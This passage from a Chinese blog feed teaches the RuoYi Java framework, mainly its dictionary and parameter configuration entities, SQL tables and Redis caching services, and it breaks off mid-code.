AsyncManager.me().execute(AsyncFactory.recordLogininfor(
    username, Constants.LOGIN_SUCCESS, &quot;登录成功&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysOperLog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;操作日志实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysLogininfor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;登录日志实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;日志注解&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LogAspect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;日志切面&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AsyncFactory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;异步任务工厂&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AsyncManager&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;异步任务管理器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BusinessType&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;业务类型枚举&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;业务类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OTHER&lt;/td&gt;
&lt;td&gt;其它&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;INSERT&lt;/td&gt;
&lt;td&gt;新增&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UPDATE&lt;/td&gt;
&lt;td&gt;修改&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DELETE&lt;/td&gt;
&lt;td&gt;删除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GRANT&lt;/td&gt;
&lt;td&gt;授权&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EXPORT&lt;/td&gt;
&lt;td&gt;导出&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IMPORT&lt;/td&gt;
&lt;td&gt;导入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FORCE&lt;/td&gt;
&lt;td&gt;强退&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GENCODE&lt;/td&gt;
&lt;td&gt;生成代码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CLEAN&lt;/td&gt;
&lt;td&gt;清空数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-10-quartz-task/&quot;&gt;阶段十：定时任务&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段十中，我们将学习 Quartz 定时任务的使用，包括任务配置、Cron 表达式和任务调度。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段八：字典与参数管理</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-08-dict-config/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-08-dict-config/</guid><description>学习系统配置管理：字典类型、字典数据、参数配置，理解缓存机制在配置管理中的应用。</description><pubDate>Mon, 07 Sep 2026 10:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段八&lt;/strong&gt;，聚焦系统配置管理。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解字典与参数的区别和用途&lt;/li&gt;
&lt;li&gt;掌握字典缓存的实现机制&lt;/li&gt;
&lt;li&gt;知道如何在前端使用字典数据&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：字典管理像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi 字典&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysDictType&lt;/code&gt; 字典类型&lt;/td&gt;
&lt;td&gt;枚举类型定义 (enum)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysDictData&lt;/code&gt; 字典数据&lt;/td&gt;
&lt;td&gt;枚举值列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;参数配置&lt;/td&gt;
&lt;td&gt;系统设置项&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;字典缓存&lt;/td&gt;
&lt;td&gt;localStorage / Vuex&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;字典标签&lt;/td&gt;
&lt;td&gt;Select 下拉选项&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;字典 vs 参数&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;字典 (Dict)&lt;/th&gt;
&lt;th&gt;参数 (Config)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;用途&lt;/td&gt;
&lt;td&gt;枚举值翻译（如性别、状态）&lt;/td&gt;
&lt;td&gt;系统配置项（如密码策略）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;结构&lt;/td&gt;
&lt;td&gt;一对多（类型 → 数据列表）&lt;/td&gt;
&lt;td&gt;键值对&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;示例&lt;/td&gt;
&lt;td&gt;sys_user_sex → [男, 女, 未知]&lt;/td&gt;
&lt;td&gt;sys.account.registerUser → true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;前端使用&lt;/td&gt;
&lt;td&gt;下拉框、标签翻译&lt;/td&gt;
&lt;td&gt;系统设置页面&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;字典类型实体类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/domain/SysDictType.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 字典类型表 sys_dict_type
 * 
 * @author ruoyi
 */
public class SysDictType extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 字典主键 */
    @Excel(name = &quot;字典主键&quot;, cellType = ColumnType.NUMERIC)
    private Long dictId;

    /** 字典名称 */
    @Excel(name = &quot;字典名称&quot;)
    private String dictName;

    /** 字典类型 */
    @Excel(name = &quot;字典类型&quot;)
    private String dictType;

    /** 状态（0正常 1停用） */
    @Excel(name = &quot;状态&quot;, readConverterExp = &quot;0=正常,1=停用&quot;)
    private String status;

    public Long getDictId() {
        return dictId;
    }

    public void setDictId(Long dictId) {
        this.dictId = dictId;
    }

    @NotBlank(message = &quot;字典名称不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;字典类型名称长度不能超过100个字符&quot;)
    public String getDictName() {
        return dictName;
    }

    public void setDictName(String dictName) {
        this.dictName = dictName;
    }

    @NotBlank(message = &quot;字典类型不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;字典类型长度不能超过100个字符&quot;)
    public String getDictType() {
        return dictType;
    }

    public void setDictType(String dictType) {
        this.dictType = StringUtils.isEmpty(dictType) ? &quot;&quot; : dictType.trim();
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;dictId&quot;, getDictId())
            .append(&quot;dictName&quot;, getDictName())
            .append(&quot;dictType&quot;, getDictType())
            .append(&quot;status&quot;, getStatus())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;字典数据实体类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/domain/SysDictData.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 字典数据表 sys_dict_data
 * 
 * @author ruoyi
 */
public class SysDictData extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 字典编码 */
    @Excel(name = &quot;字典编码&quot;, cellType = ColumnType.NUMERIC)
    private Long dictCode;

    /** 字典排序 */
    @Excel(name = &quot;字典排序&quot;, cellType = ColumnType.NUMERIC)
    private Long dictSort;

    /** 字典标签 */
    @Excel(name = &quot;字典标签&quot;)
    private String dictLabel;

    /** 字典键值 */
    @Excel(name = &quot;字典键值&quot;)
    private String dictValue;

    /** 字典类型 */
    @Excel(name = &quot;字典类型&quot;)
    private String dictType;

    /** 样式属性（其他样式扩展） */
    private String cssClass;

    /** 表格字典样式 */
    private String listClass;

    /** 是否默认（Y是 N否） */
    @Excel(name = &quot;是否默认&quot;, readConverterExp = &quot;Y=是,N=否&quot;)
    private String isDefault;

    /** 状态（0正常 1停用） */
    @Excel(name = &quot;状态&quot;, readConverterExp = &quot;0=正常,1=停用&quot;)
    private String status;

    public Long getDictCode() {
        return dictCode;
    }

    public void setDictCode(Long dictCode) {
        this.dictCode = dictCode;
    }

    public Long getDictSort() {
        return dictSort;
    }

    public void setDictSort(Long dictSort) {
        this.dictSort = dictSort;
    }

    @NotBlank(message = &quot;字典标签不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;字典标签长度不能超过100个字符&quot;)
    public String getDictLabel() {
        return dictLabel;
    }

    public void setDictLabel(String dictLabel) {
        this.dictLabel = dictLabel;
    }

    @NotBlank(message = &quot;字典键值不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;字典键值长度不能超过100个字符&quot;)
    public String getDictValue() {
        return dictValue;
    }

    public void setDictValue(String dictValue) {
        this.dictValue = dictValue;
    }

    @NotBlank(message = &quot;字典类型不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;字典类型长度不能超过100个字符&quot;)
    public String getDictType() {
        return dictType;
    }

    public void setDictType(String dictType) {
        this.dictType = dictType;
    }

    @Size(min = 0, max = 100, message = &quot;样式属性长度不能超过100个字符&quot;)
    public String getCssClass() {
        return cssClass;
    }

    public void setCssClass(String cssClass) {
        this.cssClass = cssClass;
    }

    public String getListClass() {
        return listClass;
    }

    public void setListClass(String listClass) {
        this.listClass = listClass;
    }

    public String getIsDefault() {
        return isDefault;
    }

    public void setIsDefault(String isDefault) {
        this.isDefault = isDefault;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;dictCode&quot;, getDictCode())
            .append(&quot;dictSort&quot;, getDictSort())
            .append(&quot;dictLabel&quot;, getDictLabel())
            .append(&quot;dictValue&quot;, getDictValue())
            .append(&quot;dictType&quot;, getDictType())
            .append(&quot;cssClass&quot;, getCssClass())
            .append(&quot;listClass&quot;, getListClass())
            .append(&quot;isDefault&quot;, getIsDefault())
            .append(&quot;status&quot;, getStatus())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参数配置实体类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/domain/SysConfig.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 参数配置表 sys_config
 * 
 * @author ruoyi
 */
public class SysConfig extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 参数主键 */
    @Excel(name = &quot;参数主键&quot;, cellType = ColumnType.NUMERIC)
    private Long configId;

    /** 参数名称 */
    @Excel(name = &quot;参数名称&quot;)
    private String configName;

    /** 参数键名 */
    @Excel(name = &quot;参数键名&quot;)
    private String configKey;

    /** 参数键值 */
    @Excel(name = &quot;参数键值&quot;)
    private String configValue;

    /** 系统内置（Y是 N否） */
    @Excel(name = &quot;系统内置&quot;, readConverterExp = &quot;Y=是,N=否&quot;)
    private String configType;

    public Long getConfigId() {
        return configId;
    }

    public void setConfigId(Long configId) {
        this.configId = configId;
    }

    @NotBlank(message = &quot;参数名称不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;参数名称不能超过100个字符&quot;)
    public String getConfigName() {
        return configName;
    }

    public void setConfigName(String configName) {
        this.configName = configName;
    }

    @NotBlank(message = &quot;参数键名不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;参数键名长度不能超过100个字符&quot;)
    public String getConfigKey() {
        return configKey;
    }

    public void setConfigKey(String configKey) {
        this.configKey = configKey;
    }

    @NotBlank(message = &quot;参数键值不能为空&quot;)
    @Size(min = 0, max = 500, message = &quot;参数键值长度不能超过500个字符&quot;)
    public String getConfigValue() {
        return configValue;
    }

    public void setConfigValue(String configValue) {
        this.configValue = configValue;
    }

    public String getConfigType() {
        return configType;
    }

    public void setConfigType(String configType) {
        this.configType = configType;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;configId&quot;, getConfigId())
            .append(&quot;configName&quot;, getConfigName())
            .append(&quot;configKey&quot;, getConfigKey())
            .append(&quot;configValue&quot;, getConfigValue())
            .append(&quot;configType&quot;, getConfigType())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据库表结构&lt;/h2&gt;
&lt;h3&gt;字典类型表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_dict_type (
  dict_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;字典主键&apos;,
  dict_name         VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;字典名称&apos;,
  dict_type         VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;字典类型&apos;,
  status            CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;状态（0正常 1停用）&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT &apos;备注&apos;,
  PRIMARY KEY (dict_id),
  UNIQUE (dict_type)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;字典类型表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字典数据表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_dict_data (
  dict_code         BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;字典编码&apos;,
  dict_sort         INT(4)          DEFAULT 0                  COMMENT &apos;字典排序&apos;,
  dict_label        VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;字典标签&apos;,
  dict_value        VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;字典键值&apos;,
  dict_type         VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;字典类型&apos;,
  css_class         VARCHAR(100)    DEFAULT NULL               COMMENT &apos;样式属性&apos;,
  list_class        VARCHAR(100)    DEFAULT NULL               COMMENT &apos;表格回显样式&apos;,
  is_default        CHAR(1)         DEFAULT &apos;N&apos;                COMMENT &apos;是否默认（Y是 N否）&apos;,
  status            CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;状态（0正常 1停用）&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT &apos;备注&apos;,
  PRIMARY KEY (dict_code)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;字典数据表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;参数配置表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_config (
  config_id         BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;参数主键&apos;,
  config_name       VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;参数名称&apos;,
  config_key        VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;参数键名&apos;,
  config_value      VARCHAR(500)    DEFAULT &apos;&apos;                 COMMENT &apos;参数键值&apos;,
  config_type       CHAR(1)         DEFAULT &apos;N&apos;                COMMENT &apos;系统内置（Y是 N否）&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT &apos;备注&apos;,
  PRIMARY KEY (config_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;参数配置表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;字典缓存机制&lt;/h2&gt;
&lt;p&gt;RuoYi 使用 Redis 缓存字典数据，提高查询性能：&lt;/p&gt;
&lt;h3&gt;字典 Service 实现&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.entity.SysDictData;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.DictUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysDictType;
import com.ruoyi.system.mapper.SysDictDataMapper;
import com.ruoyi.system.mapper.SysDictTypeMapper;
import com.ruoyi.system.service.ISysDictTypeService;

/**
 * 字典 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysDictTypeServiceImpl implements ISysDictTypeService {
    @Autowired
    private SysDictTypeMapper dictTypeMapper;

    @Autowired
    private SysDictDataMapper dictDataMapper;

    /**
     * 项目启动时，初始化字典 主要是防止手动修改数据库导致未同步到定时任务处理
     */
    @PostConstruct
    public void init() {
        loadingDictCache();
    }

    /**
     * 加载字典缓存
     */
    public void loadingDictCache() {
        List&amp;lt;SysDictType&amp;gt; dictTypeList = dictTypeMapper.selectDictTypeAll();
        for (SysDictType dictType : dictTypeList) {
            List&amp;lt;SysDictData&amp;gt; dictDatas = dictDataMapper.selectDictDataByType(dictType.getDictType());
            DictUtils.setDictCache(dictType.getDictType(), dictDatas);
        }
    }

    /**
     * 清空字典缓存
     */
    public void clearDictCache() {
        DictUtils.clearDictCache();
    }

    /**
     * 根据字典类型查询字典数据
     */
    @Override
    public List&amp;lt;SysDictData&amp;gt; selectDictDataByType(String dictType) {
        List&amp;lt;SysDictData&amp;gt; dictDatas = DictUtils.getDictCache(dictType);
        if (StringUtils.isNull(dictDatas)) {
            dictDatas = dictDataMapper.selectDictDataByType(dictType);
            DictUtils.setDictCache(dictType, dictDatas);
        }
        return dictDatas;
    }

    /**
     * 新增保存字典类型信息
     */
    @Override
    public int insertDictType(SysDictType dictType) {
        int row = dictTypeMapper.insertDictType(dictType);
        if (row &amp;gt; 0) {
            DictUtils.setDictCache(dictType.getDictType(), null);
        }
        return row;
    }

    /**
     * 修改保存字典类型信息
     */
    @Override
    @Transactional
    public int updateDictType(SysDictType dictType) {
        SysDictType oldDict = dictTypeMapper.selectDictTypeById(dictType.getDictId());
        List&amp;lt;SysDictData&amp;gt; dictDatas = dictDataMapper.selectDictDataByType(oldDict.getDictType());
        // 删除旧字典缓存
        DictUtils.removeDictCache(oldDict.getDictType());
        // 更新字典类型
        int row = dictTypeMapper.updateDictType(dictType);
        if (row &amp;gt; 0) {
            // 更新字典数据中的字典类型
            for (SysDictData dictData : dictDatas) {
                dictData.setDictType(dictType.getDictType());
            }
            dictDataMapper.updateDictDataType(dictDatas);
            // 设置新字典缓存
            DictUtils.setDictCache(dictType.getDictType(), dictDatas);
        }
        return row;
    }

    /**
     * 批量删除字典类型信息
     */
    @Override
    public int deleteDictTypeByIds(String ids) {
        Long[] dictIds = Convert.toLongArray(ids);
        for (Long dictId : dictIds) {
            SysDictType dictType = selectDictTypeById(dictId);
            if (dictDataMapper.countDictDataByType(dictType.getDictType()) &amp;gt; 0) {
                throw new ServiceException(String.format(&quot;%1$s已分配,不能删除&quot;, dictType.getDictName()));
            }
            // 清空字典缓存
            DictUtils.removeDictCache(dictType.getDictType());
        }
        return dictTypeMapper.deleteDictTypeByIds(dictIds);
    }

    /**
     * 校验字典类型称是否唯一
     */
    @Override
    public String checkDictTypeUnique(SysDictType dictType) {
        Long dictId = StringUtils.isNull(dictType.getDictId()) ? -1L : dictType.getDictId();
        SysDictType dictTypeUnique = dictTypeMapper.checkDictTypeUnique(dictType.getDictType());
        if (StringUtils.isNotNull(dictTypeUnique) &amp;amp;&amp;amp; dictTypeUnique.getDictId().longValue() != dictId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字典工具类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/utils/DictUtils.java
package com.ruoyi.common.utils;

import java.util.List;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.entity.SysDictData;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.service.ISysDictDataService;

/**
 * 字典工具类
 * 
 * @author ruoyi
 */
public class DictUtils {
    /**
     * 设置字典缓存
     */
    public static void setDictCache(String key, List&amp;lt;SysDictData&amp;gt; dictDatas) {
        SpringUtils.getBean(RedisCache.class).setCacheObject(getCacheKey(key), dictDatas);
    }

    /**
     * 获取字典缓存
     */
    public static List&amp;lt;SysDictData&amp;gt; getDictCache(String key) {
        Object cacheObj = SpringUtils.getBean(RedisCache.class).getCacheObject(getCacheKey(key));
        if (StringUtils.isNotNull(cacheObj)) {
            return (List&amp;lt;SysDictData&amp;gt;) cacheObj;
        }
        return null;
    }

    /**
     * 删除字典缓存
     */
    public static void removeDictCache(String key) {
        SpringUtils.getBean(RedisCache.class).deleteObject(getCacheKey(key));
    }

    /**
     * 清空字典缓存
     */
    public static void clearDictCache() {
        SpringUtils.getBean(RedisCache.class).deleteKeys(Constants.SYS_DICT_KEY + &quot;*&quot;);
    }

    /**
     * 获取cache key
     */
    public static String getCacheKey(String key) {
        return Constants.SYS_DICT_KEY + key;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参数配置 Service&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.CacheUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysConfig;
import com.ruoyi.system.mapper.SysConfigMapper;
import com.ruoyi.system.service.ISysConfigService;

/**
 * 参数配置 服务层实现
 * 
 * @author ruoyi
 */
@Service
public class SysConfigServiceImpl implements ISysConfigService {
    @Autowired
    private SysConfigMapper configMapper;

    /**
     * 项目启动时，初始化参数 主要是防止手动修改数据库导致未同步到定时任务处理
     */
    @PostConstruct
    public void init() {
        loadingConfigCache();
    }

    /**
     * 加载参数缓存数据
     */
    public void loadingConfigCache() {
        List&amp;lt;SysConfig&amp;gt; configsList = configMapper.selectConfigList(new SysConfig());
        for (SysConfig config : configsList) {
            CacheUtils.put(getCacheName(), config.getConfigKey(), config.getConfigValue());
        }
    }

    /**
     * 清空参数缓存数据
     */
    public void clearConfigCache() {
        CacheUtils.clear(getCacheName());
    }

    /**
     * 查询参数配置信息
     */
    @Override
    public SysConfig selectConfigById(Long configId) {
        SysConfig config = new SysConfig();
        config.setConfigId(configId);
        return configMapper.selectConfig(config);
    }

    /**
     * 根据键名查询参数配置信息
     */
    @Override
    public String selectConfigByKey(String configKey) {
        String configValue = Convert.toStr(CacheUtils.get(getCacheName(), configKey));
        if (StringUtils.isNotEmpty(configValue)) {
            return configValue;
        }
        SysConfig config = new SysConfig();
        config.setConfigKey(configKey);
        SysConfig retConfig = configMapper.selectConfig(config);
        if (StringUtils.isNotNull(retConfig)) {
            CacheUtils.put(getCacheName(), configKey, retConfig.getConfigValue());
            return retConfig.getConfigValue();
        }
        return StringUtils.EMPTY;
    }

    /**
     * 新增参数配置
     */
    @Override
    public int insertConfig(SysConfig config) {
        int row = configMapper.insertConfig(config);
        if (row &amp;gt; 0) {
            CacheUtils.put(getCacheName(), config.getConfigKey(), config.getConfigValue());
        }
        return row;
    }

    /**
     * 修改参数配置
     */
    @Override
    public int updateConfig(SysConfig config) {
        int row = configMapper.updateConfig(config);
        if (row &amp;gt; 0) {
            CacheUtils.put(getCacheName(), config.getConfigKey(), config.getConfigValue());
        }
        return row;
    }

    /**
     * 批量删除参数配置信息
     */
    @Override
    public int deleteConfigByIds(String ids) {
        Long[] configIds = Convert.toLongArray(ids);
        for (Long configId : configIds) {
            SysConfig config = selectConfigById(configId);
            if (UserConstants.YES.equals(config.getConfigType())) {
                throw new ServiceException(&quot;内置参数【&quot; + config.getConfigName() + &quot;】不能删除 &quot;);
            }
            configMapper.deleteConfigById(configId);
            CacheUtils.remove(getCacheName(), config.getConfigKey());
        }
        return configIds.length;
    }

    /**
     * 获取cache name
     */
    @Override
    public String getCacheName() {
        return UserConstants.SYS_CONFIG_KEY;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;前端使用字典&lt;/h2&gt;
&lt;h3&gt;方式一：Thymeleaf 模板&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 使用字典标签翻译 --&amp;gt;
&amp;lt;span th:text=&quot;${@dict.getLabel(&apos;sys_user_sex&apos;, user.sex)}&quot;&amp;gt;未知&amp;lt;/span&amp;gt;

&amp;lt;!-- 使用字典数据构建下拉框 --&amp;gt;
&amp;lt;select th:field=&quot;*{sex}&quot;&amp;gt;
    &amp;lt;option th:each=&quot;dict : ${@dict.getType(&apos;sys_user_sex&apos;)}&quot; 
            th:value=&quot;${dict.dictValue}&quot; 
            th:text=&quot;${dict.dictLabel}&quot;&amp;gt;&amp;lt;/option&amp;gt;
&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;方式二：JavaScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 获取字典数据
$.getDict(&quot;sys_user_sex&quot;, function(data) {
    // data 是字典数据列表
